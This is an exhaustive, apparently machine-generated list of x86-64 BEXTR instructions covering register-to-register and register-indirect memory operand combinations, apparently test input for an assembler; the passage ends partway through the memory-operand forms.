bextr r15d, r13d, eax
bextr r15d, r13d, ebx
bextr r15d, r13d, ecx
bextr r15d, r13d, edx
bextr r15d, r13d, edi
bextr r15d, r13d, r8d
bextr r15d, r13d, r9d
bextr r15d, r13d, r10d
bextr r15d, r13d, r11d
bextr r15d, r13d, r12d
bextr r15d, r13d, r13d
bextr r15d, r13d, r14d
bextr r15d, r13d, r15d
bextr r15d, r13d, esp
bextr r15d, r13d, esi
bextr r15d, r13d, ebp
bextr r15d, r14d, eax
bextr r15d, r14d, ebx
bextr r15d, r14d, ecx
bextr r15d, r14d, edx
bextr r15d, r14d, edi
bextr r15d, r14d, r8d
bextr r15d, r14d, r9d
bextr r15d, r14d, r10d
bextr r15d, r14d, r11d
bextr r15d, r14d, r12d
bextr r15d, r14d, r13d
bextr r15d, r14d, r14d
bextr r15d, r14d, r15d
bextr r15d, r14d, esp
bextr r15d, r14d, esi
bextr r15d, r14d, ebp
bextr r15d, r15d, eax
bextr r15d, r15d, ebx
bextr r15d, r15d, ecx
bextr r15d, r15d, edx
bextr r15d, r15d, edi
bextr r15d, r15d, r8d
bextr r15d, r15d, r9d
bextr r15d, r15d, r10d
bextr r15d, r15d, r11d
bextr r15d, r15d, r12d
bextr r15d, r15d, r13d
bextr r15d, r15d, r14d
bextr r15d, r15d, r15d
bextr r15d, r15d, esp
bextr r15d, r15d, esi
bextr r15d, r15d, ebp
bextr r15d, esp, eax
bextr r15d, esp, ebx
bextr r15d, esp, ecx
bextr r15d, esp, edx
bextr r15d, esp, edi
bextr r15d, esp, r8d
bextr r15d, esp, r9d
bextr r15d, esp, r10d
bextr r15d, esp, r11d
bextr r15d, esp, r12d
bextr r15d, esp, r13d
bextr r15d, esp, r14d
bextr r15d, esp, r15d
bextr r15d, esp, esp
bextr r15d, esp, esi
bextr r15d, esp, ebp
bextr r15d, esi, eax
bextr r15d, esi, ebx
bextr r15d, esi, ecx
bextr r15d, esi, edx
bextr r15d, esi, edi
bextr r15d, esi, r8d
bextr r15d, esi, r9d
bextr r15d, esi, r10d
bextr r15d, esi, r11d
bextr r15d, esi, r12d
bextr r15d, esi, r13d
bextr r15d, esi, r14d
bextr r15d, esi, r15d
bextr r15d, esi, esp
bextr r15d, esi, esi
bextr r15d, esi, ebp
bextr r15d, ebp, eax
bextr r15d, ebp, ebx
bextr r15d, ebp, ecx
bextr r15d, ebp, edx
bextr r15d, ebp, edi
bextr r15d, ebp, r8d
bextr r15d, ebp, r9d
bextr r15d, ebp, r10d
bextr r15d, ebp, r11d
bextr r15d, ebp, r12d
bextr r15d, ebp, r13d
bextr r15d, ebp, r14d
bextr r15d, ebp, r15d
bextr r15d, ebp, esp
bextr r15d, ebp, esi
bextr r15d, ebp, ebp
bextr esp, eax, eax
bextr esp, eax, ebx
bextr esp, eax, ecx
bextr esp, eax, edx
bextr esp, eax, edi
bextr esp, eax, r8d
bextr esp, eax, r9d
bextr esp, eax, r10d
bextr esp, eax, r11d
bextr esp, eax, r12d
bextr esp, eax, r13d
bextr esp, eax, r14d
bextr esp, eax, r15d
bextr esp, eax, esp
bextr esp, eax, esi
bextr esp, eax, ebp
bextr esp, ebx, eax
bextr esp, ebx, ebx
bextr esp, ebx, ecx
bextr esp, ebx, edx
bextr esp, ebx, edi
bextr esp, ebx, r8d
bextr esp, ebx, r9d
bextr esp, ebx, r10d
bextr esp, ebx, r11d
bextr esp, ebx, r12d
bextr esp, ebx, r13d
bextr esp, ebx, r14d
bextr esp, ebx, r15d
bextr esp, ebx, esp
bextr esp, ebx, esi
bextr esp, ebx, ebp
bextr esp, ecx, eax
bextr esp, ecx, ebx
bextr esp, ecx, ecx
bextr esp, ecx, edx
bextr esp, ecx, edi
bextr esp, ecx, r8d
bextr esp, ecx, r9d
bextr esp, ecx, r10d
bextr esp, ecx, r11d
bextr esp, ecx, r12d
bextr esp, ecx, r13d
bextr esp, ecx, r14d
bextr esp, ecx, r15d
bextr esp, ecx, esp
bextr esp, ecx, esi
bextr esp, ecx, ebp
bextr esp, edx, eax
bextr esp, edx, ebx
bextr esp, edx, ecx
bextr esp, edx, edx
bextr esp, edx, edi
bextr esp, edx, r8d
bextr esp, edx, r9d
bextr esp, edx, r10d
bextr esp, edx, r11d
bextr esp, edx, r12d
bextr esp, edx, r13d
bextr esp, edx, r14d
bextr esp, edx, r15d
bextr esp, edx, esp
bextr esp, edx, esi
bextr esp, edx, ebp
bextr esp, edi, eax
bextr esp, edi, ebx
bextr esp, edi, ecx
bextr esp, edi, edx
bextr esp, edi, edi
bextr esp, edi, r8d
bextr esp, edi, r9d
bextr esp, edi, r10d
bextr esp, edi, r11d
bextr esp, edi, r12d
bextr esp, edi, r13d
bextr esp, edi, r14d
bextr esp, edi, r15d
bextr esp, edi, esp
bextr esp, edi, esi
bextr esp, edi, ebp
bextr esp, r8d, eax
bextr esp, r8d, ebx
bextr esp, r8d, ecx
bextr esp, r8d, edx
bextr esp, r8d, edi
bextr esp, r8d, r8d
bextr esp, r8d, r9d
bextr esp, r8d, r10d
bextr esp, r8d, r11d
bextr esp, r8d, r12d
bextr esp, r8d, r13d
bextr esp, r8d, r14d
bextr esp, r8d, r15d
bextr esp, r8d, esp
bextr esp, r8d, esi
bextr esp, r8d, ebp
bextr esp, r9d, eax
bextr esp, r9d, ebx
bextr esp, r9d, ecx
bextr esp, r9d, edx
bextr esp, r9d, edi
bextr esp, r9d, r8d
bextr esp, r9d, r9d
bextr esp, r9d, r10d
bextr esp, r9d, r11d
bextr esp, r9d, r12d
bextr esp, r9d, r13d
bextr esp, r9d, r14d
bextr esp, r9d, r15d
bextr esp, r9d, esp
bextr esp, r9d, esi
bextr esp, r9d, ebp
bextr esp, r10d, eax
bextr esp, r10d, ebx
bextr esp, r10d, ecx
bextr esp, r10d, edx
bextr esp, r10d, edi
bextr esp, r10d, r8d
bextr esp, r10d, r9d
bextr esp, r10d, r10d
bextr esp, r10d, r11d
bextr esp, r10d, r12d
bextr esp, r10d, r13d
bextr esp, r10d, r14d
bextr esp, r10d, r15d
bextr esp, r10d, esp
bextr esp, r10d, esi
bextr esp, r10d, ebp
bextr esp, r11d, eax
bextr esp, r11d, ebx
bextr esp, r11d, ecx
bextr esp, r11d, edx
bextr esp, r11d, edi
bextr esp, r11d, r8d
bextr esp, r11d, r9d
bextr esp, r11d, r10d
bextr esp, r11d, r11d
bextr esp, r11d, r12d
bextr esp, r11d, r13d
bextr esp, r11d, r14d
bextr esp, r11d, r15d
bextr esp, r11d, esp
bextr esp, r11d, esi
bextr esp, r11d, ebp
bextr esp, r12d, eax
bextr esp, r12d, ebx
bextr esp, r12d, ecx
bextr esp, r12d, edx
bextr esp, r12d, edi
bextr esp, r12d, r8d
bextr esp, r12d, r9d
bextr esp, r12d, r10d
bextr esp, r12d, r11d
bextr esp, r12d, r12d
bextr esp, r12d, r13d
bextr esp, r12d, r14d
bextr esp, r12d, r15d
bextr esp, r12d, esp
bextr esp, r12d, esi
bextr esp, r12d, ebp
bextr esp, r13d, eax
bextr esp, r13d, ebx
bextr esp, r13d, ecx
bextr esp, r13d, edx
bextr esp, r13d, edi
bextr esp, r13d, r8d
bextr esp, r13d, r9d
bextr esp, r13d, r10d
bextr esp, r13d, r11d
bextr esp, r13d, r12d
bextr esp, r13d, r13d
bextr esp, r13d, r14d
bextr esp, r13d, r15d
bextr esp, r13d, esp
bextr esp, r13d, esi
bextr esp, r13d, ebp
bextr esp, r14d, eax
bextr esp, r14d, ebx
bextr esp, r14d, ecx
bextr esp, r14d, edx
bextr esp, r14d, edi
bextr esp, r14d, r8d
bextr esp, r14d, r9d
bextr esp, r14d, r10d
bextr esp, r14d, r11d
bextr esp, r14d, r12d
bextr esp, r14d, r13d
bextr esp, r14d, r14d
bextr esp, r14d, r15d
bextr esp, r14d, esp
bextr esp, r14d, esi
bextr esp, r14d, ebp
bextr esp, r15d, eax
bextr esp, r15d, ebx
bextr esp, r15d, ecx
bextr esp, r15d, edx
bextr esp, r15d, edi
bextr esp, r15d, r8d
bextr esp, r15d, r9d
bextr esp, r15d, r10d
bextr esp, r15d, r11d
bextr esp, r15d, r12d
bextr esp, r15d, r13d
bextr esp, r15d, r14d
bextr esp, r15d, r15d
bextr esp, r15d, esp
bextr esp, r15d, esi
bextr esp, r15d, ebp
bextr esp, esp, eax
bextr esp, esp, ebx
bextr esp, esp, ecx
bextr esp, esp, edx
bextr esp, esp, edi
bextr esp, esp, r8d
bextr esp, esp, r9d
bextr esp, esp, r10d
bextr esp, esp, r11d
bextr esp, esp, r12d
bextr esp, esp, r13d
bextr esp, esp, r14d
bextr esp, esp, r15d
bextr esp, esp, esp
bextr esp, esp, esi
bextr esp, esp, ebp
bextr esp, esi, eax
bextr esp, esi, ebx
bextr esp, esi, ecx
bextr esp, esi, edx
bextr esp, esi, edi
bextr esp, esi, r8d
bextr esp, esi, r9d
bextr esp, esi, r10d
bextr esp, esi, r11d
bextr esp, esi, r12d
bextr esp, esi, r13d
bextr esp, esi, r14d
bextr esp, esi, r15d
bextr esp, esi, esp
bextr esp, esi, esi
bextr esp, esi, ebp
bextr esp, ebp, eax
bextr esp, ebp, ebx
bextr esp, ebp, ecx
bextr esp, ebp, edx
bextr esp, ebp, edi
bextr esp, ebp, r8d
bextr esp, ebp, r9d
bextr esp, ebp, r10d
bextr esp, ebp, r11d
bextr esp, ebp, r12d
bextr esp, ebp, r13d
bextr esp, ebp, r14d
bextr esp, ebp, r15d
bextr esp, ebp, esp
bextr esp, ebp, esi
bextr esp, ebp, ebp
bextr esi, eax, eax
bextr esi, eax, ebx
bextr esi, eax, ecx
bextr esi, eax, edx
bextr esi, eax, edi
bextr esi, eax, r8d
bextr esi, eax, r9d
bextr esi, eax, r10d
bextr esi, eax, r11d
bextr esi, eax, r12d
bextr esi, eax, r13d
bextr esi, eax, r14d
bextr esi, eax, r15d
bextr esi, eax, esp
bextr esi, eax, esi
bextr esi, eax, ebp
bextr esi, ebx, eax
bextr esi, ebx, ebx
bextr esi, ebx, ecx
bextr esi, ebx, edx
bextr esi, ebx, edi
bextr esi, ebx, r8d
bextr esi, ebx, r9d
bextr esi, ebx, r10d
bextr esi, ebx, r11d
bextr esi, ebx, r12d
bextr esi, ebx, r13d
bextr esi, ebx, r14d
bextr esi, ebx, r15d
bextr esi, ebx, esp
bextr esi, ebx, esi
bextr esi, ebx, ebp
bextr esi, ecx, eax
bextr esi, ecx, ebx
bextr esi, ecx, ecx
bextr esi, ecx, edx
bextr esi, ecx, edi
bextr esi, ecx, r8d
bextr esi, ecx, r9d
bextr esi, ecx, r10d
bextr esi, ecx, r11d
bextr esi, ecx, r12d
bextr esi, ecx, r13d
bextr esi, ecx, r14d
bextr esi, ecx, r15d
bextr esi, ecx, esp
bextr esi, ecx, esi
bextr esi, ecx, ebp
bextr esi, edx, eax
bextr esi, edx, ebx
bextr esi, edx, ecx
bextr esi, edx, edx
bextr esi, edx, edi
bextr esi, edx, r8d
bextr esi, edx, r9d
bextr esi, edx, r10d
bextr esi, edx, r11d
bextr esi, edx, r12d
bextr esi, edx, r13d
bextr esi, edx, r14d
bextr esi, edx, r15d
bextr esi, edx, esp
bextr esi, edx, esi
bextr esi, edx, ebp
bextr esi, edi, eax
bextr esi, edi, ebx
bextr esi, edi, ecx
bextr esi, edi, edx
bextr esi, edi, edi
bextr esi, edi, r8d
bextr esi, edi, r9d
bextr esi, edi, r10d
bextr esi, edi, r11d
bextr esi, edi, r12d
bextr esi, edi, r13d
bextr esi, edi, r14d
bextr esi, edi, r15d
bextr esi, edi, esp
bextr esi, edi, esi
bextr esi, edi, ebp
bextr esi, r8d, eax
bextr esi, r8d, ebx
bextr esi, r8d, ecx
bextr esi, r8d, edx
bextr esi, r8d, edi
bextr esi, r8d, r8d
bextr esi, r8d, r9d
bextr esi, r8d, r10d
bextr esi, r8d, r11d
bextr esi, r8d, r12d
bextr esi, r8d, r13d
bextr esi, r8d, r14d
bextr esi, r8d, r15d
bextr esi, r8d, esp
bextr esi, r8d, esi
bextr esi, r8d, ebp
bextr esi, r9d, eax
bextr esi, r9d, ebx
bextr esi, r9d, ecx
bextr esi, r9d, edx
bextr esi, r9d, edi
bextr esi, r9d, r8d
bextr esi, r9d, r9d
bextr esi, r9d, r10d
bextr esi, r9d, r11d
bextr esi, r9d, r12d
bextr esi, r9d, r13d
bextr esi, r9d, r14d
bextr esi, r9d, r15d
bextr esi, r9d, esp
bextr esi, r9d, esi
bextr esi, r9d, ebp
bextr esi, r10d, eax
bextr esi, r10d, ebx
bextr esi, r10d, ecx
bextr esi, r10d, edx
bextr esi, r10d, edi
bextr esi, r10d, r8d
bextr esi, r10d, r9d
bextr esi, r10d, r10d
bextr esi, r10d, r11d
bextr esi, r10d, r12d
bextr esi, r10d, r13d
bextr esi, r10d, r14d
bextr esi, r10d, r15d
bextr esi, r10d, esp
bextr esi, r10d, esi
bextr esi, r10d, ebp
bextr esi, r11d, eax
bextr esi, r11d, ebx
bextr esi, r11d, ecx
bextr esi, r11d, edx
bextr esi, r11d, edi
bextr esi, r11d, r8d
bextr esi, r11d, r9d
bextr esi, r11d, r10d
bextr esi, r11d, r11d
bextr esi, r11d, r12d
bextr esi, r11d, r13d
bextr esi, r11d, r14d
bextr esi, r11d, r15d
bextr esi, r11d, esp
bextr esi, r11d, esi
bextr esi, r11d, ebp
bextr esi, r12d, eax
bextr esi, r12d, ebx
bextr esi, r12d, ecx
bextr esi, r12d, edx
bextr esi, r12d, edi
bextr esi, r12d, r8d
bextr esi, r12d, r9d
bextr esi, r12d, r10d
bextr esi, r12d, r11d
bextr esi, r12d, r12d
bextr esi, r12d, r13d
bextr esi, r12d, r14d
bextr esi, r12d, r15d
bextr esi, r12d, esp
bextr esi, r12d, esi
bextr esi, r12d, ebp
bextr esi, r13d, eax
bextr esi, r13d, ebx
bextr esi, r13d, ecx
bextr esi, r13d, edx
bextr esi, r13d, edi
bextr esi, r13d, r8d
bextr esi, r13d, r9d
bextr esi, r13d, r10d
bextr esi, r13d, r11d
bextr esi, r13d, r12d
bextr esi, r13d, r13d
bextr esi, r13d, r14d
bextr esi, r13d, r15d
bextr esi, r13d, esp
bextr esi, r13d, esi
bextr esi, r13d, ebp
bextr esi, r14d, eax
bextr esi, r14d, ebx
bextr esi, r14d, ecx
bextr esi, r14d, edx
bextr esi, r14d, edi
bextr esi, r14d, r8d
bextr esi, r14d, r9d
bextr esi, r14d, r10d
bextr esi, r14d, r11d
bextr esi, r14d, r12d
bextr esi, r14d, r13d
bextr esi, r14d, r14d
bextr esi, r14d, r15d
bextr esi, r14d, esp
bextr esi, r14d, esi
bextr esi, r14d, ebp
bextr esi, r15d, eax
bextr esi, r15d, ebx
bextr esi, r15d, ecx
bextr esi, r15d, edx
bextr esi, r15d, edi
bextr esi, r15d, r8d
bextr esi, r15d, r9d
bextr esi, r15d, r10d
bextr esi, r15d, r11d
bextr esi, r15d, r12d
bextr esi, r15d, r13d
bextr esi, r15d, r14d
bextr esi, r15d, r15d
bextr esi, r15d, esp
bextr esi, r15d, esi
bextr esi, r15d, ebp
bextr esi, esp, eax
bextr esi, esp, ebx
bextr esi, esp, ecx
bextr esi, esp, edx
bextr esi, esp, edi
bextr esi, esp, r8d
bextr esi, esp, r9d
bextr esi, esp, r10d
bextr esi, esp, r11d
bextr esi, esp, r12d
bextr esi, esp, r13d
bextr esi, esp, r14d
bextr esi, esp, r15d
bextr esi, esp, esp
bextr esi, esp, esi
bextr esi, esp, ebp
bextr esi, esi, eax
bextr esi, esi, ebx
bextr esi, esi, ecx
bextr esi, esi, edx
bextr esi, esi, edi
bextr esi, esi, r8d
bextr esi, esi, r9d
bextr esi, esi, r10d
bextr esi, esi, r11d
bextr esi, esi, r12d
bextr esi, esi, r13d
bextr esi, esi, r14d
bextr esi, esi, r15d
bextr esi, esi, esp
bextr esi, esi, esi
bextr esi, esi, ebp
bextr esi, ebp, eax
bextr esi, ebp, ebx
bextr esi, ebp, ecx
bextr esi, ebp, edx
bextr esi, ebp, edi
bextr esi, ebp, r8d
bextr esi, ebp, r9d
bextr esi, ebp, r10d
bextr esi, ebp, r11d
bextr esi, ebp, r12d
bextr esi, ebp, r13d
bextr esi, ebp, r14d
bextr esi, ebp, r15d
bextr esi, ebp, esp
bextr esi, ebp, esi
bextr esi, ebp, ebp
bextr ebp, eax, eax
bextr ebp, eax, ebx
bextr ebp, eax, ecx
bextr ebp, eax, edx
bextr ebp, eax, edi
bextr ebp, eax, r8d
bextr ebp, eax, r9d
bextr ebp, eax, r10d
bextr ebp, eax, r11d
bextr ebp, eax, r12d
bextr ebp, eax, r13d
bextr ebp, eax, r14d
bextr ebp, eax, r15d
bextr ebp, eax, esp
bextr ebp, eax, esi
bextr ebp, eax, ebp
bextr ebp, ebx, eax
bextr ebp, ebx, ebx
bextr ebp, ebx, ecx
bextr ebp, ebx, edx
bextr ebp, ebx, edi
bextr ebp, ebx, r8d
bextr ebp, ebx, r9d
bextr ebp, ebx, r10d
bextr ebp, ebx, r11d
bextr ebp, ebx, r12d
bextr ebp, ebx, r13d
bextr ebp, ebx, r14d
bextr ebp, ebx, r15d
bextr ebp, ebx, esp
bextr ebp, ebx, esi
bextr ebp, ebx, ebp
bextr ebp, ecx, eax
bextr ebp, ecx, ebx
bextr ebp, ecx, ecx
bextr ebp, ecx, edx
bextr ebp, ecx, edi
bextr ebp, ecx, r8d
bextr ebp, ecx, r9d
bextr ebp, ecx, r10d
bextr ebp, ecx, r11d
bextr ebp, ecx, r12d
bextr ebp, ecx, r13d
bextr ebp, ecx, r14d
bextr ebp, ecx, r15d
bextr ebp, ecx, esp
bextr ebp, ecx, esi
bextr ebp, ecx, ebp
bextr ebp, edx, eax
bextr ebp, edx, ebx
bextr ebp, edx, ecx
bextr ebp, edx, edx
bextr ebp, edx, edi
bextr ebp, edx, r8d
bextr ebp, edx, r9d
bextr ebp, edx, r10d
bextr ebp, edx, r11d
bextr ebp, edx, r12d
bextr ebp, edx, r13d
bextr ebp, edx, r14d
bextr ebp, edx, r15d
bextr ebp, edx, esp
bextr ebp, edx, esi
bextr ebp, edx, ebp
bextr ebp, edi, eax
bextr ebp, edi, ebx
bextr ebp, edi, ecx
bextr ebp, edi, edx
bextr ebp, edi, edi
bextr ebp, edi, r8d
bextr ebp, edi, r9d
bextr ebp, edi, r10d
bextr ebp, edi, r11d
bextr ebp, edi, r12d
bextr ebp, edi, r13d
bextr ebp, edi, r14d
bextr ebp, edi, r15d
bextr ebp, edi, esp
bextr ebp, edi, esi
bextr ebp, edi, ebp
bextr ebp, r8d, eax
bextr ebp, r8d, ebx
bextr ebp, r8d, ecx
bextr ebp, r8d, edx
bextr ebp, r8d, edi
bextr ebp, r8d, r8d
bextr ebp, r8d, r9d
bextr ebp, r8d, r10d
bextr ebp, r8d, r11d
bextr ebp, r8d, r12d
bextr ebp, r8d, r13d
bextr ebp, r8d, r14d
bextr ebp, r8d, r15d
bextr ebp, r8d, esp
bextr ebp, r8d, esi
bextr ebp, r8d, ebp
bextr ebp, r9d, eax
bextr ebp, r9d, ebx
bextr ebp, r9d, ecx
bextr ebp, r9d, edx
bextr ebp, r9d, edi
bextr ebp, r9d, r8d
bextr ebp, r9d, r9d
bextr ebp, r9d, r10d
bextr ebp, r9d, r11d
bextr ebp, r9d, r12d
bextr ebp, r9d, r13d
bextr ebp, r9d, r14d
bextr ebp, r9d, r15d
bextr ebp, r9d, esp
bextr ebp, r9d, esi
bextr ebp, r9d, ebp
bextr ebp, r10d, eax
bextr ebp, r10d, ebx
bextr ebp, r10d, ecx
bextr ebp, r10d, edx
bextr ebp, r10d, edi
bextr ebp, r10d, r8d
bextr ebp, r10d, r9d
bextr ebp, r10d, r10d
bextr ebp, r10d, r11d
bextr ebp, r10d, r12d
bextr ebp, r10d, r13d
bextr ebp, r10d, r14d
bextr ebp, r10d, r15d
bextr ebp, r10d, esp
bextr ebp, r10d, esi
bextr ebp, r10d, ebp
bextr ebp, r11d, eax
bextr ebp, r11d, ebx
bextr ebp, r11d, ecx
bextr ebp, r11d, edx
bextr ebp, r11d, edi
bextr ebp, r11d, r8d
bextr ebp, r11d, r9d
bextr ebp, r11d, r10d
bextr ebp, r11d, r11d
bextr ebp, r11d, r12d
bextr ebp, r11d, r13d
bextr ebp, r11d, r14d
bextr ebp, r11d, r15d
bextr ebp, r11d, esp
bextr ebp, r11d, esi
bextr ebp, r11d, ebp
bextr ebp, r12d, eax
bextr ebp, r12d, ebx
bextr ebp, r12d, ecx
bextr ebp, r12d, edx
bextr ebp, r12d, edi
bextr ebp, r12d, r8d
bextr ebp, r12d, r9d
bextr ebp, r12d, r10d
bextr ebp, r12d, r11d
bextr ebp, r12d, r12d
bextr ebp, r12d, r13d
bextr ebp, r12d, r14d
bextr ebp, r12d, r15d
bextr ebp, r12d, esp
bextr ebp, r12d, esi
bextr ebp, r12d, ebp
bextr ebp, r13d, eax
bextr ebp, r13d, ebx
bextr ebp, r13d, ecx
bextr ebp, r13d, edx
bextr ebp, r13d, edi
bextr ebp, r13d, r8d
bextr ebp, r13d, r9d
bextr ebp, r13d, r10d
bextr ebp, r13d, r11d
bextr ebp, r13d, r12d
bextr ebp, r13d, r13d
bextr ebp, r13d, r14d
bextr ebp, r13d, r15d
bextr ebp, r13d, esp
bextr ebp, r13d, esi
bextr ebp, r13d, ebp
bextr ebp, r14d, eax
bextr ebp, r14d, ebx
bextr ebp, r14d, ecx
bextr ebp, r14d, edx
bextr ebp, r14d, edi
bextr ebp, r14d, r8d
bextr ebp, r14d, r9d
bextr ebp, r14d, r10d
bextr ebp, r14d, r11d
bextr ebp, r14d, r12d
bextr ebp, r14d, r13d
bextr ebp, r14d, r14d
bextr ebp, r14d, r15d
bextr ebp, r14d, esp
bextr ebp, r14d, esi
bextr ebp, r14d, ebp
bextr ebp, r15d, eax
bextr ebp, r15d, ebx
bextr ebp, r15d, ecx
bextr ebp, r15d, edx
bextr ebp, r15d, edi
bextr ebp, r15d, r8d
bextr ebp, r15d, r9d
bextr ebp, r15d, r10d
bextr ebp, r15d, r11d
bextr ebp, r15d, r12d
bextr ebp, r15d, r13d
bextr ebp, r15d, r14d
bextr ebp, r15d, r15d
bextr ebp, r15d, esp
bextr ebp, r15d, esi
bextr ebp, r15d, ebp
bextr ebp, esp, eax
bextr ebp, esp, ebx
bextr ebp, esp, ecx
bextr ebp, esp, edx
bextr ebp, esp, edi
bextr ebp, esp, r8d
bextr ebp, esp, r9d
bextr ebp, esp, r10d
bextr ebp, esp, r11d
bextr ebp, esp, r12d
bextr ebp, esp, r13d
bextr ebp, esp, r14d
bextr ebp, esp, r15d
bextr ebp, esp, esp
bextr ebp, esp, esi
bextr ebp, esp, ebp
bextr ebp, esi, eax
bextr ebp, esi, ebx
bextr ebp, esi, ecx
bextr ebp, esi, edx
bextr ebp, esi, edi
bextr ebp, esi, r8d
bextr ebp, esi, r9d
bextr ebp, esi, r10d
bextr ebp, esi, r11d
bextr ebp, esi, r12d
bextr ebp, esi, r13d
bextr ebp, esi, r14d
bextr ebp, esi, r15d
bextr ebp, esi, esp
bextr ebp, esi, esi
bextr ebp, esi, ebp
bextr ebp, ebp, eax
bextr ebp, ebp, ebx
bextr ebp, ebp, ecx
bextr ebp, ebp, edx
bextr ebp, ebp, edi
bextr ebp, ebp, r8d
bextr ebp, ebp, r9d
bextr ebp, ebp, r10d
bextr ebp, ebp, r11d
bextr ebp, ebp, r12d
bextr ebp, ebp, r13d
bextr ebp, ebp, r14d
bextr ebp, ebp, r15d
bextr ebp, ebp, esp
bextr ebp, ebp, esi
bextr ebp, ebp, ebp
bextr eax, [eax], eax
bextr eax, [eax], ebx
bextr eax, [eax], ecx
bextr eax, [eax], edx
bextr eax, [eax], edi
bextr eax, [eax], r8d
bextr eax, [eax], r9d
bextr eax, [eax], r10d
bextr eax, [eax], r11d
bextr eax, [eax], r12d
bextr eax, [eax], r13d
bextr eax, [eax], r14d
bextr eax, [eax], r15d
bextr eax, [eax], esp
bextr eax, [eax], esi
bextr eax, [eax], ebp
bextr eax, [ebx], eax
bextr eax, [ebx], ebx
bextr eax, [ebx], ecx
bextr eax, [ebx], edx
bextr eax, [ebx], edi
bextr eax, [ebx], r8d
bextr eax, [ebx], r9d
bextr eax, [ebx], r10d
bextr eax, [ebx], r11d
bextr eax, [ebx], r12d
bextr eax, [ebx], r13d
bextr eax, [ebx], r14d
bextr eax, [ebx], r15d
bextr eax, [ebx], esp
bextr eax, [ebx], esi
bextr eax, [ebx], ebp
bextr eax, [ecx], eax
bextr eax, [ecx], ebx
bextr eax, [ecx], ecx
bextr eax, [ecx], edx
bextr eax, [ecx], edi
bextr eax, [ecx], r8d
bextr eax, [ecx], r9d
bextr eax, [ecx], r10d
bextr eax, [ecx], r11d
bextr eax, [ecx], r12d
bextr eax, [ecx], r13d
bextr eax, [ecx], r14d
bextr eax, [ecx], r15d
bextr eax, [ecx], esp
bextr eax, [ecx], esi
bextr eax, [ecx], ebp
bextr eax, [edx], eax
bextr eax, [edx], ebx
bextr eax, [edx], ecx
bextr eax, [edx], edx
bextr eax, [edx], edi
bextr eax, [edx], r8d
bextr eax, [edx], r9d
bextr eax, [edx], r10d
bextr eax, [edx], r11d
bextr eax, [edx], r12d
bextr eax, [edx], r13d
bextr eax, [edx], r14d
bextr eax, [edx], r15d
bextr eax, [edx], esp
bextr eax, [edx], esi
bextr eax, [edx], ebp
bextr eax, [edi], eax
bextr eax, [edi], ebx
bextr eax, [edi], ecx
bextr eax, [edi], edx
bextr eax, [edi], edi
bextr eax, [edi], r8d
bextr eax, [edi], r9d
bextr eax, [edi], r10d
bextr eax, [edi], r11d
bextr eax, [edi], r12d
bextr eax, [edi], r13d
bextr eax, [edi], r14d
bextr eax, [edi], r15d
bextr eax, [edi], esp
bextr eax, [edi], esi
bextr eax, [edi], ebp
bextr eax, [r8d], eax
bextr eax, [r8d], ebx
bextr eax, [r8d], ecx
bextr eax, [r8d], edx
bextr eax, [r8d], edi
bextr eax, [r8d], r8d
bextr eax, [r8d], r9d
bextr eax, [r8d], r10d
bextr eax, [r8d], r11d
bextr eax, [r8d], r12d
bextr eax, [r8d], r13d
bextr eax, [r8d], r14d
bextr eax, [r8d], r15d
bextr eax, [r8d], esp
bextr eax, [r8d], esi
bextr eax, [r8d], ebp
bextr eax, [r9d], eax
bextr eax, [r9d], ebx
bextr eax, [r9d], ecx
bextr eax, [r9d], edx
bextr eax, [r9d], edi
bextr eax, [r9d], r8d
bextr eax, [r9d], r9d
bextr eax, [r9d], r10d
bextr eax, [r9d], r11d
bextr eax, [r9d], r12d
bextr eax, [r9d], r13d
bextr eax, [r9d], r14d
bextr eax, [r9d], r15d
bextr eax, [r9d], esp
bextr eax, [r9d], esi
bextr eax, [r9d], ebp
bextr eax, [r10d], eax
bextr eax, [r10d], ebx
bextr eax, [r10d], ecx
bextr eax, [r10d], edx
bextr eax, [r10d], edi
bextr eax, [r10d], r8d
bextr eax, [r10d], r9d
bextr eax, [r10d], r10d
bextr eax, [r10d], r11d
bextr eax, [r10d], r12d
bextr eax, [r10d], r13d
bextr eax, [r10d], r14d
bextr eax, [r10d], r15d
bextr eax, [r10d], esp
bextr eax, [r10d], esi
bextr eax, [r10d], ebp
bextr eax, [r11d], eax
bextr eax, [r11d], ebx
bextr eax, [r11d], ecx
bextr eax, [r11d], edx
bextr eax, [r11d], edi
bextr eax, [r11d], r8d
bextr eax, [r11d], r9d
bextr eax, [r11d], r10d
bextr eax, [r11d], r11d
bextr eax, [r11d], r12d
bextr eax, [r11d], r13d
bextr eax, [r11d], r14d
bextr eax, [r11d], r15d
bextr eax, [r11d], esp
bextr eax, [r11d], esi
bextr eax, [r11d], ebp
bextr eax, [r12d], eax
bextr eax, [r12d], ebx
bextr eax, [r12d], ecx
bextr eax, [r12d], edx
bextr eax, [r12d], edi
bextr eax, [r12d], r8d
bextr eax, [r12d], r9d
bextr eax, [r12d], r10d
bextr eax, [r12d], r11d
bextr eax, [r12d], r12d
bextr eax, [r12d], r13d
bextr eax, [r12d], r14d
bextr eax, [r12d], r15d
bextr eax, [r12d], esp
bextr eax, [r12d], esi
bextr eax, [r12d], ebp
bextr eax, [r13d], eax
bextr eax, [r13d], ebx
bextr eax, [r13d], ecx
bextr eax, [r13d], edx
bextr eax, [r13d], edi
bextr eax, [r13d], r8d
bextr eax, [r13d], r9d
bextr eax, [r13d], r10d
bextr eax, [r13d], r11d
bextr eax, [r13d], r12d
bextr eax, [r13d], r13d
bextr eax, [r13d], r14d
bextr eax, [r13d], r15d
bextr eax, [r13d], esp
bextr eax, [r13d], esi
bextr eax, [r13d], ebp
bextr eax, [r14d], eax
bextr eax, [r14d], ebx
bextr eax, [r14d], ecx
bextr eax, [r14d], edx
bextr eax, [r14d], edi
bextr eax, [r14d], r8d
bextr eax, [r14d], r9d
bextr eax, [r14d], r10d
bextr eax, [r14d], r11d
bextr eax, [r14d], r12d
bextr eax, [r14d], r13d
bextr eax, [r14d], r14d
bextr eax, [r14d], r15d
bextr eax, [r14d], esp
bextr eax, [r14d], esi
bextr eax, [r14d], ebp
bextr eax, [r15d], eax
bextr eax, [r15d], ebx
bextr eax, [r15d], ecx
bextr eax, [r15d], edx
bextr eax, [r15d], edi
bextr eax, [r15d], r8d
bextr eax, [r15d], r9d
bextr eax, [r15d], r10d
bextr eax, [r15d], r11d
bextr eax, [r15d], r12d
bextr eax, [r15d], r13d
bextr eax, [r15d], r14d
bextr eax, [r15d], r15d
bextr eax, [r15d], esp
bextr eax, [r15d], esi
bextr eax, [r15d], ebp
bextr eax, [esp], eax
bextr eax, [esp], ebx
bextr eax, [esp], ecx
bextr eax, [esp], edx
bextr eax, [esp], edi
bextr eax, [esp], r8d
